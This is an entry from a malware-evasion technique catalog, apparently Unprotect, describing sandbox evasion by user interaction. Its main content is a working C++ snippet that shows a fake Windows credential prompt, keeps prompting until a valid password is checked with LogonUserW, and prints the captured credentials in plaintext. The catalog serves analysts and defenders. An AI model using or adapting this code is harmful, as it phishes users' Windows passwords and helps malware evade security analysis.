User Interaction (Are you human?)

You can get an advantage against sandboxes by using user interaction techniques. For example, The average user has a username and password and as long as the user you are targeting does not enter their password correctly, you can prevent your malware execution and bypass the possible sandbox control.

U1339

Code Snippets

#include <Windows.h>
#include <tchar.h>
#include <CommCtrl.h>
#include <wincred.h>
#include <iostream>
#include <atlstr.h>

#pragma comment(lib, "comctl32.lib")
#pragma comment(lib, "Credui.lib")

void pickl3() {

	BOOL loginStatus = FALSE;
	do {
		CREDUI_INFOW credui = {};
		credui.cbSize = sizeof(credui);
		credui.hwndParent = nullptr;
		//credui.pszMessageText = L"...";
		credui.pszCaptionText = L"Please verify your Windows user credentials to proceed.";
		credui.hbmBanner = nullptr;

		ULONG authPackage = 0;
		LPVOID outCredBuffer = nullptr;
		ULONG outCredSize = 0;
		BOOL save = false;
		DWORD err = 0;

		err = CredUIPromptForWindowsCredentialsW(&credui, err, &authPackage, nullptr, 0, &outCredBuffer, &outCredSize, &save, CREDUIWIN_ENUMERATE_CURRENT_USER);
		if (err == ERROR_SUCCESS) {
			WCHAR pszUName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR pszPwd[CREDUI_MAX_PASSWORD_LENGTH * sizeof(WCHAR)];
			WCHAR domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			DWORD maxLenName = CREDUI_MAX_USERNAME_LENGTH + 1;
			DWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH + 1;
			DWORD maxLenDomain = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;
			CredUnPackAuthenticationBufferW(CRED_PACK_PROTECTED_CREDENTIALS, outCredBuffer, outCredSize, pszUName, &maxLenName, domain, &maxLenDomain, pszPwd, &maxLenPassword);

			WCHAR parsedUserName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR parsedDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			CredUIParseUserNameW(pszUName, parsedUserName, CREDUI_MAX_USERNAME_LENGTH + 1, parsedDomain, CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1);

			HANDLE handle = nullptr;
			loginStatus = LogonUserW(parsedUserName, parsedDomain, pszPwd, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &handle);


			if (loginStatus == TRUE) {
				CloseHandle(handle);
				std::wcout << "\n[+] Valid credential is entered as " << pszUName << ":" << pszPwd;
				break;
			}
			else {
				std::wcout << "\n[-] Invalid credential is entered as " << pszUName << ":" << pszPwd;
				loginStatus = FALSE;
			}
		}
	} while (loginStatus == FALSE);
}



int main () {
	
	pickl3();
	return 0;
}

Additional Resources

Subscribe to our Newsletter


The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.